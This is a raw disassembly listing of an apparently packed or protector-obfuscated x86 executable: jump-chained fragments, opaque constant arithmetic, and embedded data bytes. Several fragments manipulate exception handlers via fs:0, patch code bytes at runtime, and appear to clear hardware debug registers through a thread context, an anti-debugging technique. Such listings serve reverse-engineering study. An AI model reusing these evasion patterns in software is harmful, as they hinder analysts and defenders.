; FUNCTION CHUNK AT 0043F842 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043F846 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F8B0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043F9B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F9D1 SIZE 00000012 BYTES

		xchg	ebx, [esp-18h+arg_10]
		pop	ebx
		push	esi
		mov	esi, offset loc_43ADD3
		jmp	loc_43ADC1
; ---------------------------------------------------------------------------
		dd 0F18B5600h, 0E9243487h, 1DAh, 7EE9D00Bh
		db 3Fh,	2 dup(0)
byte_439EF3	db 8Bh			; DATA XREF: sub_439ED1:loc_438352o
		dd 0CEA76800h, 0BBE90043h, 0FFFFE1h, 12D45F68h,	0C8815820h
		dd 0D99B8E70h, 0E90EC0C1h, 0FFFFEA53h, 80B80000h, 0E9589BF2h
		dd 0FFFFD9A0h
; ---------------------------------------------------------------------------


loc_439F20:				; CODE XREF: sub_439ED1-15D3j
		add	ecx, ebp
		pop	dword ptr fs:0
		xchg	eax, [esp-8+arg_4]
		pop	eax
		jmp	loc_43DA7F
; ---------------------------------------------------------------------------


loc_439F31:				; CODE XREF: sub_43F688+4Ej
		jnb	loc_439B47
		xchg	edx, [ebp+0]
		jmp	loc_43A20E
; ---------------------------------------------------------------------------


loc_439F3F:				; DATA XREF: sub_43D6F6-A59o
		push	ecx
		push	3FDB6554h
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+0]
		mov	ecx, offset byte_43CAC1
		jmp	loc_43E278
; ---------------------------------------------------------------------------
		align 2
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43EC58
; ---------------------------------------------------------------------------
		align 4
		dd 94F68100h, 81EA2B44h, 6A2B8AE6h, 0CEC68120h,	3BBF9100h
		dd 6E95EC6h, 8100002Ch,	0CD976FF0h, 22F5E8A5h, 0
		dd 0FFF105E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_439F9B:				; CODE XREF: sub_439ED1-1E76j
		jmp	nullsub_34
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_439FA2:				; CODE XREF: _802izwe5:00437278j
		jmp	loc_43D4AB
; ---------------------------------------------------------------------------


loc_439FA7:				; CODE XREF: sub_439ED1+122Ep
		xchg	edi, [esp-8+arg_4]
		pop	edi
		pop	edi
		call	sub_438DE4
		jmp	loc_43CCE4
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 4CE90000h, 0E900004Bh, 5021h, 0FF646700h, 67000036h
		dd 268964h, 31D5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_439FD6:				; CODE XREF: sub_43D067+5j
		retn
; ---------------------------------------------------------------------------


loc_439FD7:				; CODE XREF: sub_43F688-4014j
		jmp	loc_438EAB
; ---------------------------------------------------------------------------
		dd 0BBE90000h, 3Fh, 0FFFCBAE9h,	0C3FFh
; ---------------------------------------------------------------------------


loc_439FEC:				; CODE XREF: sub_439ED1+3130j
		jmp	loc_4389C0
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_43E0E8
; ---------------------------------------------------------------------------
		align 4


loc_439FF8:				; CODE XREF: sub_439ED1+C86j
		jmp	loc_4392FA
; ---------------------------------------------------------------------------
		db 2 dup(0), 51h
; ---------------------------------------------------------------------------
		jmp	loc_43C41E
; ---------------------------------------------------------------------------
		align 2
		dw 0F167h
		dd 0FFD576E9h, 646700FFh, 2689h, 0FFD1C0E9h, 43E859FFh
		dd 31h,	4D21E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A026:				; CODE XREF: sub_439ED1:loc_43BC5Cj
		jnz	loc_43B188
		jmp	loc_438093
; ---------------------------------------------------------------------------
		align 2
		dw 0F1F0h
; ---------------------------------------------------------------------------
		jmp	loc_43D054
; ---------------------------------------------------------------------------
		xchg	edi, [esp+0]
		pop	edi
		add	eax, ebp
		push	edx
		jmp	loc_43DF54
; ---------------------------------------------------------------------------


loc_43A045:				; CODE XREF: _802izwe5:loc_43D4C2j
		add	ecx, 27E9281Ah
		jmp	loc_438FDC
; ---------------------------------------------------------------------------


loc_43A050:				; CODE XREF: sub_438378:loc_43C314j
		push	offset byte_43F881
		jmp	nullsub_23
; ---------------------------------------------------------------------------
		align 4


loc_43A05C:				; CODE XREF: sub_43F18B:loc_43828Cj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43EE91
; ---------------------------------------------------------------------------
		cdq
		xchg	edx, [esp-0Ch+arg_8]
		pop	edx
		pop	esi
		mov	[ecx], eax
		jmp	loc_437BF4
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A08F:				; CODE XREF: _802izwe5:00439B5Aj
		mov	ecx, 438BF9h
		jmp	loc_43E395
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		db 0E9h
; ---------------------------------------------------------------------------


loc_43A09D:				; DATA XREF: sub_43C65A+5EFo
		pop	dword ptr fs:0
		xchg	eax, [esp-18h+arg_10]
		pop	eax
		jmp	loc_43C4F4
; ---------------------------------------------------------------------------
		xchg	ebp, ebx
		jmp	loc_437BD4
; ---------------------------------------------------------------------------


loc_43A0B3:				; CODE XREF: sub_439ED1:loc_43E1E4j
		or	ecx, 4B3E4EFBh
		xor	ecx, 0D79623D1h


loc_43A0BF:				; DATA XREF: _802izwe5:0043B17Eo
		sub	ebp, ecx
		call	sub_43DF77
		jmp	loc_43C6CE
; ---------------------------------------------------------------------------
		add	esi, 840356E3h
		add	esi, ebp
		push	ecx
		push	0ADE61BA4h
		pop	ecx
		rol	ecx, 1Dh
		and	ecx, 3D6B22AAh
		jmp	loc_43ADA3
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A0E9:				; CODE XREF: _802izwe5:00438F7Cp
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43C3CC
; ---------------------------------------------------------------------------
		dw 8100h
; ---------------------------------------------------------------------------
		rol	byte ptr [eax],	0A9h
		nop
		xchg	eax, esi
		call	sub_43E9D9


loc_43A106:				; CODE XREF: _802izwe5:0043F95Dj
		jmp	loc_43C378
; ---------------------------------------------------------------------------


loc_43A10B:				; CODE XREF: sub_439ED1+3D6j
		jmp	loc_43B81C
; ---------------------------------------------------------------------------
		dd 37E90000h, 3, 0E900C300h, 5555h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A122:				; CODE XREF: _802izwe5:0043BCD2j
		jmp	loc_43B507
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43A129:				; CODE XREF: sub_439ED1+12CAj
		jmp	loc_43E385
; ---------------------------------------------------------------------------


loc_43A12E:				; CODE XREF: sub_43E4C6:loc_43BAD1j
		dec	byte ptr [ebp-1DD1h]


loc_43A134:				; CODE XREF: sub_43CC54:loc_43835Dj
					; _802izwe5:0043CF8Dj ...
		push	0C9B49237h
		pop	eax
		or	eax, 9B87441Dh
		push	edi
		mov	edi, offset word_43BA9A
		jmp	loc_439E70
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43A14D:				; CODE XREF: _802izwe5:00437B33j
		and	edi, 90CCC736h
		add	edi, 0F13A5FF3h
		xor	edi, 1FEE603h
		add	ecx, edi
		pop	edi
		mov	dword ptr [ecx], offset	loc_439B4F
		xor	eax, eax
		pop	ecx
		jmp	nullsub_25
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A172:				; CODE XREF: _802izwe5:0043EB45j
		jl	loc_43CA6F
		jz	loc_4399F7
		jmp	loc_43CA63
; ---------------------------------------------------------------------------
		align 4


loc_43A184:				; CODE XREF: _802izwe5:0043F223j
		xor	esi, 609B5067h


loc_43A18A:				; DATA XREF: sub_439ED1+1356o
		pop	dword ptr fs:0
		xchg	eax, [esp-1Ch+arg_14]
		xchg	ebx, [esp-1Ch+arg_14]
		jmp	loc_43A9D4
; ---------------------------------------------------------------------------
		align 4
		jbe	loc_43B7BB
		xchg	edx, [ebp+0]


loc_43A1A5:				; DATA XREF: _802izwe5:0043EB11o
		pop	dword ptr fs:0
		xchg	eax, [esp-20h+arg_18]
		pop	eax
		add	eax, ebp
		push	edx
		jmp	loc_4380F1
; ---------------------------------------------------------------------------
		align 4
		dd 0A7E9F1F0h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43A1BF:				; CODE XREF: sub_43C65A:loc_43C56Cj
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_4399D8
; ---------------------------------------------------------------------------


loc_43A1E2:				; CODE XREF: _802izwe5:0043BF81j
		cmp	esi, edx
		jmp	loc_437BE0
; ---------------------------------------------------------------------------
		align 2


loc_43A1EA:				; CODE XREF: _802izwe5:0043DCACj
		popf


loc_43A1EB:				; CODE XREF: _802izwe5:0043F0D2p
		call	sub_43DB4A
		jmp	loc_43ADBA
; ---------------------------------------------------------------------------
		db 67h,	64h, 89h
		dd 0E9000026h, 0FFFFE611h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43A202:				; CODE XREF: sub_439ED1-6CDj
		retn
; ---------------------------------------------------------------------------
		shr	esi, 1Ah
		jmp	loc_438202
; ---------------------------------------------------------------------------
		align 4

locret_43A20C:				; CODE XREF: _802izwe5:004393DCj
		retn
; ---------------------------------------------------------------------------
		align 2


loc_43A20E:				; CODE XREF: sub_439ED1+69j
		adc	esi, edi


loc_43A210:				; DATA XREF: sub_439ED1:loc_43A252o
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A21F:				; CODE XREF: _802izwe5:0043EE4Ej
		jmp	near ptr byte_437811+2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A225:				; CODE XREF: sub_43E51B+10j
		jmp	near ptr dword_437340+76h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFF930E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43A231:				; CODE XREF: sub_438DE4+Cj
		jmp	loc_43E2B4
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A237:				; CODE XREF: sub_43E40D:loc_4378F7j
		push	3212215Bh
		pop	edi
		sub	edi, 0E0727D62h
		add	edi, 7E6F9981h
		cmp	eax, edi
		jmp	loc_43EA5F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A252:				; CODE XREF: sub_43C65A:loc_438DAFj
		mov	dword ptr [ecx], offset	loc_43A210
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A25D:				; CODE XREF: sub_43C65A+C12j
		jmp	loc_43BA03
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43CFB5
; ---------------------------------------------------------------------------
		jmp	loc_43B5BF
; ---------------------------------------------------------------------------


loc_43A26E:				; CODE XREF: sub_439ED1+4B6Bp
		push	dword ptr fs:0
		jmp	loc_43F1E5
; ---------------------------------------------------------------------------
		align 2


loc_43A27A:				; CODE XREF: _802izwe5:00439C88j
		mov	ecx, esp
		push	esi
		push	26F4DFCh
		pop	esi
		xor	esi, 0F140CEA5h


loc_43A289:				; CODE XREF: _802izwe5:loc_43E4C0j
		or	esi, 32E6E4A7h
		jmp	loc_43A7CC
; ---------------------------------------------------------------------------
		call	ds:dword_4270C0	; ExitProcess
		push	eax
		push	786C1C0Bh
		pop	eax
		or	eax, 0D5AB5A43h
		jmp	loc_43A10B
; ---------------------------------------------------------------------------
		dd 0D8810000h, 248C2866h, 1704E9h, 0E9C18B00h, 3D1Eh, 0C870000h
		dd 64675924h, 2689h, 0FFF551E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

locret_43A2D3:				; CODE XREF: sub_43D6F6-A54j
		retn
; ---------------------------------------------------------------------------
		dd 0FFE356E9h, 0E90000FFh, 0BDEh, 0EF2DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43A2E6:				; CODE XREF: _802izwe5:00437A92j
		jmp	nullsub_24
; ---------------------------------------------------------------------------
		align 4
		dd 7E850F00h, 8100002Bh, 0F7969CCDh, 0F3C08110h, 0B1451CBh
		dd 0D9F1E9F8h, 1C7FFFFh, 43F8B6h, 0C359C033h
; ---------------------------------------------------------------------------


loc_43A310:				; CODE XREF: sub_439ED1:loc_43BDD5p
		push	dword ptr fs:0
		jmp	loc_43B71F
; ---------------------------------------------------------------------------


loc_43A31B:				; CODE XREF: sub_43DA03:loc_43BF78j
		mov	edx, [eax]
		call	sub_438C04
		jmp	loc_437668
; ---------------------------------------------------------------------------
		align 4
		dd 0E9F82300h, 556Bh, 1379840Fh, 0A3E90000h ; CODE XREF: _802izwe5:0043C5D4j
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43A33B:				; CODE XREF: sub_439ED1:loc_438CE2j
		pop	edi
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	byte_43F00D
		xor	eax, eax
		jmp	loc_4392B2
; ---------------------------------------------------------------------------


loc_43A359:				; CODE XREF: _802izwe5:0043E6E8j
		pop	edi
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43EB87
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 0D0850F00h, 55000044h, 2C87E88Bh, 87585524h,	53E92404h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43A38B:				; CODE XREF: sub_439ED1:loc_438877p
		xchg	ecx, [esp+0]
		pop	ecx
		push	98261B8Ah
		pop	esi
		jmp	loc_43B8E5
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A39B:				; CODE XREF: _802izwe5:0043770Fj
		or	ebx, 0DDFA2538h
		call	sub_43B338
		add	cl, ch		; CODE XREF: sub_43F19D+Cj
		dec	edx
		dec	esp
; ---------------------------------------------------------------------------
		dw 0
		db 0
; ---------------------------------------------------------------------------


loc_43A3AD:				; CODE XREF: _802izwe5:0043D8EBj
		jmp	loc_43B315
; ---------------------------------------------------------------------------
		dw 0E900h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FAh, 2 dup(0FFh)
		dd 8A0F0000h, 0FFFFD57Eh
; ---------------------------------------------------------------------------


loc_43A3C0:				; CODE XREF: sub_439ED1:loc_437C24j
		xor	ebx, 53562366h
		add	ecx, ebx
		pop	ebx
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43EF84
; ---------------------------------------------------------------------------
		align 4
		dd 0B4FCE781h, 2BE95C50h, 0FFFFD6h
		db 0
; ---------------------------------------------------------------------------


loc_43A3E5:				; CODE XREF: sub_43C65A:loc_43AF02j
		mov	dword ptr [ecx], 437311h
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_43A3F0:				; CODE XREF: sub_43DDE3+Cj
		jmp	loc_43B400
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A3F7:				; CODE XREF: sub_43BE3C-2DC1p
		push	dword ptr fs:0
		jmp	loc_43AFBB
; ---------------------------------------------------------------------------
		or	ebp, edi
		jmp	sub_43E9D9
; ---------------------------------------------------------------------------

locret_43A409:				; CODE XREF: sub_439ED1-19ADj
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A40B:				; CODE XREF: sub_43C0FF+5j
		jmp	loc_43C9E5
; ---------------------------------------------------------------------------


loc_43A410:				; CODE XREF: _802izwe5:0043B2BEj
		jmp	loc_43F842
; ---------------------------------------------------------------------------
		align 2
		dw 0E887h
		dd 5E243487h, 50240487h, 92585Dh, 0FFFF4AE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43A42A:				; CODE XREF: sub_439ED1-1443j
		jmp	loc_43812F
; ---------------------------------------------------------------------------
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43AB70
; ---------------------------------------------------------------------------
		dd 8C0F0000h, 2B39h, 3F21E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A45A:				; CODE XREF: sub_43C65A:loc_43EBEBj
		sub	ebp, 8884C76Ch
		jb	loc_43977C
		xchg	ebp, [edi]
		jmp	loc_438A82
; ---------------------------------------------------------------------------


loc_43A46D:				; CODE XREF: _802izwe5:0043F2CDj
		sbb	edx, 8605B22h
		jmp	loc_43A613
; ---------------------------------------------------------------------------
		dd 0BD08C7C1h, 45F3881Ch, 0D01EF081h, 0C68109C3h, 11E196C4h
		dd 6741CE81h, 3E91A19h,	0FFFFD7h
		db 0
; ---------------------------------------------------------------------------


loc_43A499:				; CODE XREF: _802izwe5:00438DFFj
		xor	esi, 0F2BF968Bh
		mov	ebx, 0AB3784F2h
		jmp	loc_438E78
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A4AB:				; CODE XREF: sub_437DA2:loc_4397CBj
		push	offset byte_43BECF
		jmp	loc_43B9F5
; ---------------------------------------------------------------------------
		push	0F59AD355h
		jmp	loc_43C287
; ---------------------------------------------------------------------------
		align 10h


loc_43A4C0:				; CODE XREF: _802izwe5:loc_43F15Ej
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43E460
; ---------------------------------------------------------------------------
		add	edx, 0B0163467h
		and	edx, 87A5331Dh
		push	ecx
		mov	ecx, offset word_43C2DA
		jmp	loc_43DAF5
; ---------------------------------------------------------------------------


loc_43A4E8:				; CODE XREF: sub_439ED1-22F8j
		push	ecx
		jmp	loc_43AD92
; ---------------------------------------------------------------------------


loc_43A4EE:				; CODE XREF: sub_43C65A+30CDj
		mov	dword ptr [ecx], offset	loc_439275
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0D8ADE900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43A4FF:				; CODE XREF: sub_439ED1+188Dj
		jmp	loc_43EC7B
; ---------------------------------------------------------------------------
		dd 0D8C0830Fh, 820FFFFFh, 4F85h, 0FFD200E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43A515:				; CODE XREF: sub_439ED1+35DDp
		xchg	edx, [esp+0]
		pop	edx
		pushf
		push	8CD8BDD4h
		pop	edi
		xor	edi, 0A683604Fh
		add	edi, 963DB40Ah
		jnb	loc_4384B4


loc_43A532:				; CODE XREF: sub_439ED1-1F1Fj
		jmp	loc_43813F
; ---------------------------------------------------------------------------
		align 4


loc_43A538:				; CODE XREF: sub_439ED1+1535j
		mov	byte ptr [ecx],	0Fh
		pop	ecx
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+0]
		mov	eax, offset loc_43A84D
		jmp	loc_43B542
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43A54E	dw 0CCF0h		; CODE XREF: sub_43F990-6647j
; ---------------------------------------------------------------------------
		shl	ecx, 1Ch
		jmp	loc_437C09
; ---------------------------------------------------------------------------
		dd 24148700h, 68FC4589h, 4BFE58CCh, 0F363B951h,	0F5E90043h
		dd 13h,	11CEC100h, 8381DB81h, 0B8E9AEEBh, 2Ah, 4873089h
		dd 0C1815824h, 10h, 41E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_43A591:				; CODE XREF: _802izwe5:loc_438F4Cj
		shl	eax, 2
		add	ecx, ebx
		add	esi, eax
		and	ebp, edx
		jmp	loc_43F44F
; ---------------------------------------------------------------------------
		align 10h


loc_43A5A0:				; CODE XREF: _802izwe5:loc_4383EDj
		xchg	eax, [esp+0]
		pop	eax
		push	0EEE4523Eh
		pop	edi
		xor	edi, 32E71208h
		add	edi, 23FCBFE2h
		add	ecx, edi
		jmp	loc_438CE2
; ---------------------------------------------------------------------------


loc_43A5BD:				; CODE XREF: sub_43EEEF-2318j
		mov	byte ptr [edi],	0C6h
		pop	edi
		lea	eax, sub_43D7EE
		push	0
		retn
; ---------------------------------------------------------------------------
		dw 99E8h
		dd 0FFFFE2h
		db 0
; ---------------------------------------------------------------------------


loc_43A5D1:				; CODE XREF: sub_439ED1-73Dj
		jmp	loc_43D777
; ---------------------------------------------------------------------------
		align 4
		xor	ecx, 0EDFDEB0Fh
		add	edx, ecx
		pop	ecx
		mov	eax, [ebp-10h]
		jmp	loc_43C447
; ---------------------------------------------------------------------------


loc_43A5E9:				; CODE XREF: _802izwe5:0043BF8Cj
		test	eax, 475721B2h
		jmp	loc_43AB13
; ---------------------------------------------------------------------------


loc_43A5F4:				; CODE XREF: sub_43E066:loc_43EDE1j
		mov	fs:0, esp
		jmp	loc_43CCC4
; ---------------------------------------------------------------------------


loc_43A5FF:				; CODE XREF: sub_43C50C+33EFj
		js	loc_4378DB
		or	edi, ebp
		jmp	loc_43C631
; ---------------------------------------------------------------------------
		dd 3AE95100h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43A613:				; CODE XREF: sub_439ED1+5A2j
		xchg	edi, ebx
		sub	ebx, eax


loc_43A617:				; DATA XREF: _802izwe5:loc_43CE5Fo
		pop	dword ptr fs:0
		xchg	eax, [esp-8+arg_4]
		pop	eax
		inc	dword ptr [ebp-10h]


loc_43A624:				; CODE XREF: _802izwe5:00439718j
		cmp	dword ptr [ebp-8], 0
		jmp	loc_43E01B
; ---------------------------------------------------------------------------
		align 2

locret_43A62E:				; CODE XREF: sub_43D7EE+5j
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_43A630:				; CODE XREF: sub_43EB57+Bj
		jmp	nullsub_36
; ---------------------------------------------------------------------------
		align 2


loc_43A636:				; CODE XREF: sub_439ED1+3719j
		jmp	loc_43C4BE
; ---------------------------------------------------------------------------
		jmp	loc_43E083
; ---------------------------------------------------------------------------
dword_43A640	dd 0D78B0000h, 0C5F2815Fh, 0F71A5ED0h, 40C2h, 4C8EE900h
					; CODE XREF: _802izwe5:loc_437C3Bj
		dd 0
dword_43A658	dd 68241C87h, 439896h, 0FFFDBFE9h		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A667:				; CODE XREF: sub_439ED1:loc_43BBF8j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 16E9h
		dd 0FFFFD2h
		db 0
; ---------------------------------------------------------------------------


loc_43A671:				; CODE XREF: _802izwe5:0043EE85j
		jmp	loc_439331
; ---------------------------------------------------------------------------
		align 4


loc_43A678:				; CODE XREF: sub_439ED1+3C55j
		jmp	loc_43AE17
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A67F:				; CODE XREF: sub_439ED1:loc_43E2FCp
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_4373F3
; ---------------------------------------------------------------------------
		dd 6AC7815Fh, 811F6DB5h, 7FF4FBE7h, 8FC78113h, 34816F7h
		dd 3895FDFh, 0E9241487h, 0FFFFCCF6h
		db 0
; ---------------------------------------------------------------------------


loc_43A6B1:				; CODE XREF: sub_43C65A:loc_43F80Ej
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		jmp	loc_43B2D0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A6CA:				; CODE XREF: _802izwe5:0043E94Fj
		sub	ebp, ecx
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		jmp	loc_43E071
; ---------------------------------------------------------------------------
		align 2


loc_43A6DE:				; DATA XREF: sub_439ED1+59F5o
		jnz	loc_43EC04


loc_43A6E4:				; CODE XREF: sub_439ED1:loc_43DD06j
		push	eax


loc_43A6E5:				; CODE XREF: _802izwe5:loc_43F1F0j
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	ecx, offset loc_43C880
		jmp	loc_43B8AF
; ---------------------------------------------------------------------------
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_437734
; ---------------------------------------------------------------------------
		align 2


loc_43A71A:				; CODE XREF: sub_439ED1-192Fj
		pop	ebx
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43A9FE
; ---------------------------------------------------------------------------
		dw 0BF00h
		dd 0CF27941Dh, 0E91BE2C1h, 1214h
; ---------------------------------------------------------------------------


loc_43A740:				; CODE XREF: sub_439ED1+413Bj
		mov	byte ptr [edx],	0C7h
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		pop	ecx
		push	1193954Bh
		xchg	esi, [esp+4+var_4]
		add	edx, ebp
		jmp	loc_439949
; ---------------------------------------------------------------------------


loc_43A758:				; CODE XREF: _802izwe5:0043D41Dj
		jge	loc_438531


loc_43A75E:				; CODE XREF: sub_439ED1+42E8p
		push	(offset	loc_43C962+1)
		jmp	nullsub_8
; ---------------------------------------------------------------------------
		dd 24148700h, 6852515Ah, 0E8F891A2h, 24EA815Ah,	0E995020Eh
		dd 4240h
; ---------------------------------------------------------------------------

locret_43A780:				; CODE XREF: sub_43DBE4+Fj
		retn
; ---------------------------------------------------------------------------
		align 2


loc_43A782:				; CODE XREF: sub_43D573+1D32j
		jmp	loc_43B757
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43CAD5
; ---------------------------------------------------------------------------


loc_43A78D:				; CODE XREF: sub_439ED1+14B2j
		test	ecx, esi
		pop	esi
		jmp	loc_43DD84
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 0B65F68E9h, 0E90043h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43A7A3:				; CODE XREF: sub_43ECCE:loc_43C3A9j
		mov	byte ptr [ecx],	9Dh
		pop	ecx
		mov	edi, offset word_438AB2
		jmp	loc_43F3CD
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		mov	edx, edi


loc_43A7B8:				; CODE XREF: sub_43DA03:loc_43BBC8j
		pop	edi
		call	sub_43F7B0
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A7BF:				; CODE XREF: sub_43BE3C+151Aj
		jmp	near ptr word_437276+1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A7C5:				; CODE XREF: sub_437775:loc_43777Dj
		jmp	loc_43D9D7
; ---------------------------------------------------------------------------
		align 4


loc_43A7CC:				; CODE XREF: sub_439ED1+3BEj
		add	esi, 0C101811h
		add	ecx, esi
		pop	esi
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		jmp	loc_43C486
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_43A7EB:				; CODE XREF: sub_439ED1+3B0Ej
		retn
; ---------------------------------------------------------------------------


loc_43A7EC:				; CODE XREF: _802izwe5:0043D484j
		jmp	loc_438529
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_43D2B2
; ---------------------------------------------------------------------------


loc_43A7F7:				; DATA XREF: sub_439ED1+3B09o
		pushf
		push	3F9C2F0Ah
		pop	eax
		xor	eax, 663611D5h
		jmp	loc_43E602
; ---------------------------------------------------------------------------
		align 2
		dw 0EBC1h
		dd 0CE31E914h, 0FFFFh, 5E243487h, 843E6852h, 815A8A9Dh
		dd 23697CF2h, 0C2C281A1h, 0E9D44112h, 0FFFFF497h, 0D5850000h
		dd 15AFE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43A83B:				; CODE XREF: sub_439ED1:loc_43ACD4j
		or	ebx, 21B871A0h
		sub	ebx, 0EAAF0C54h
		add	ebx, 0DA61ACB9h


loc_43A84D:				; DATA XREF: sub_439ED1+671o
		xchg	eax, ebx
		fucomp	st
		inc	edi
		retf
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0
; ---------------------------------------------------------------------------


loc_43A855:				; CODE XREF: _802izwe5:loc_43EAC7j
		xor	ecx, 0EBFEAFD8h
		push	edi
		mov	edi, (offset locret_439490+1)
		jmp	loc_43E79D
; ---------------------------------------------------------------------------
		push	8ED29EA1h


loc_43A86B:				; DATA XREF: _802izwe5:0043B8D9o
		pop	dword ptr fs:0
		xchg	eax, [esp-0Ch+arg_8]
		pop	eax
		pushf
		jmp	loc_43BDB1
; ---------------------------------------------------------------------------
		align 4


loc_43A87C:				; CODE XREF: sub_439ED1:loc_437C44j
		sub	edi, 0AE3947ACh
		and	edi, 0DE5BF4BCh
		xor	edi, 4C007004h
		add	ecx, edi
		pop	edi
		mov	dword ptr [ecx], offset	loc_43915B
		xor	eax, eax
		jmp	loc_43AF82
; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------
		jbe	loc_43F93D
		pop	dword ptr fs:0
		xchg	eax, [esp-14h+arg_C]
		xchg	esi, [esp-14h+arg_C]
		mov	eax, esi
		jmp	loc_43C4DF
; ---------------------------------------------------------------------------
		align 2

